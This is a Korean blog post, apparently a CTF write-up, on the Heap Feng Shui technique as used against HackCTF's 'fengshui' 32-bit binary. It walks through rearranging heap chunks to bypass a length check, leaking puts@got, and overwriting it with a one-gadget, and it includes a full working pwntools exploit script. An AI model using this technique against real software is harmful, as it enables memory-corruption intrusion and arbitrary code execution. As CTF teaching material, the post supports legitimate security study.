본문 바로가기
Pwnable

[Pwnable] (Heap) Heap Feng Shui 정리 ( feat . HackCTF 풍수지리설)

by snwo 2021. 4. 17.

Heap Feng Shui, 힙 풍수라고 읽고 Heap 영역에 할당된 Chunk 들의 Layout 을 조작해 exploit 하는 기법입니다.

 

풍수지리설 (400)

장소를 추가, 삭제, 업데이트 그리고 삭제할 수 있는 프로그램이다. 

32bit 바이너리니까 ida32 로 열어보자.

 

main 함수에서 중요 기능은 3부분이다.

  1. description 의 size 를 입력받고 add_location 호출
  2. index 를 입력받고 delete_location 호출
  3. index 를 입력받고 update_desc 호출

그리고 cnt 변수가 0x32 가 되면 종료해버린다.

 

add_location

v3 은 0x80 만큼 할당받은 곳.

s 는 a1 만큼 할당받은 곳이다.

그리고 store[cnt]+4 에 0x7c 만큼 입력받는다. ( 오버플로우 발생 X )

마지막으로 update_desc 호출하고 cnt 증가

대충 이렇게 생겼다

update_desc

store[a1] 이 존재하면, Text 길이를 입력받아, 조건에 맞으면

**(&store+a1) ( => 아까 s 가 할당된 주소 ) 에 v3+1 만큼 입력받는다.

 

비교문은 s, v3 이 순서대로 할당되어 s 의 주소 < v3 의 주소 일때, 

s 의주소 + text 의 길이 < v3 의 주소 - 4 가 되어야 s 에 입력받는다.

 

하지만, 메모리를 해제한 후에 재할당 받아 Layout 이 바뀌면, 

Heap Overflow가 발생한다.

 s 와 v3 을 조작할 수 있으므로, update_desc, display_location 함수로

Arbitary Read/Write 가 가능하다.

Partical RELRO 이니,

free@got overwrite해서 "/bin/sh" 주소를 적은 뒤, 

free( ~ ) -> system("/bin/sh") 를 호출하자.

할려고 했는데 chunk 를 overwrite해서 free 할 때 에러가 난다.

그래서 그냥 puts@got leak 한 뒤, oneshot으로 덮자

display_location

 

name 과 description 을 출력해준다. ( s, v3 )

 

delete_location

v3, s 순으로 free 시키고, 0으로 초기화해서 UAF 을 방지한다.

 

store[0] = malloc(0x80) -> malloc(10) + TEXT

store[1] = malloc(0x80) -> malloc(10) + TEXT

 

이렇게 할당하고, index 0 을 해제한 상태이다.

다시 10을 할당하면 순서대로 Layout이 배치되겠지만

0x80 을 할당받으면, s 에 store[0] 의 v3 이 재사용되고,

v3이 새로 할당되게 된다.

idx1 이 정상적인 레이아웃으로, 0x804c200+(textlen) < 0x804c210-4  범위에서 입력가능.

하지만 idx2 처럼 Heap Feng Shui 로 레이아웃을 조작하면,

0x804c170 + (textlen) < 0x804c2a0 범위에서 입력가능해, idx1 의 모든 chunk 를 덮을 수 있다.

 

시나리오

  1. Heap Feng Shui 로 레이아웃 맞추기
  2. Heap overflow 로 puts@got leak
  3. puts@got 을 oneshot 으로 덮어쓰기
  4. get flag

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
r=remote("ctf.j0n9hyun.xyz" ,3028)
#r=process("./fengshui")
b=ELF("./fengshui")
#context.log_level='debug'
lib=ELF("./libc.so.6")
def add(s,n,l,t):
    r.sendlineafter("Choice: ","0")
    r.sendlineafter("description: ",str(s))
    r.sendlineafter("Name: ",n)
    r.sendlineafter("length: ",str(l))
    r.sendlineafter("Text: ",t)
 
def delete(i):
    r.sendlineafter("Choice: ","1")
    r.sendlineafter("Index: ",str(i))
 
def update(i,l,t):
    r.sendlineafter("Choice: ","3")
    r.sendlineafter("Index: ",str(i))
    r.sendlineafter("length: ",str(l))
    r.sendlineafter("Text: ",t)
 
def display(i):
    r.sendlineafter("Choice: ","2")
    r.sendlineafter("Index: ",str(i))
 
oneshot=0x3ac5e
log.info(hex(oneshot))
 
add(0x10,"snwo",10,"snwo")
add(0x10,"snwo",10,"snwo")
 
delete(0)
 
pay=b"x"*0xa0
pay+=p32(b.got['puts'])
 
add(0x80,"snwo",0xb0,pay)
 
display(1)
r.recvuntil("Description: ")
base=u32(r.recv(4))-lib.sym['puts']
 
oneshot+=base
 
log.info(hex(base))
update(1,4,p32(oneshot))
r.interactive()
cs

 

*store[1] 값까지거리는, 0xa0 이였고, puts 함수로 덮은 뒤,

display 로 출력하고, update 로 덮으면 된다.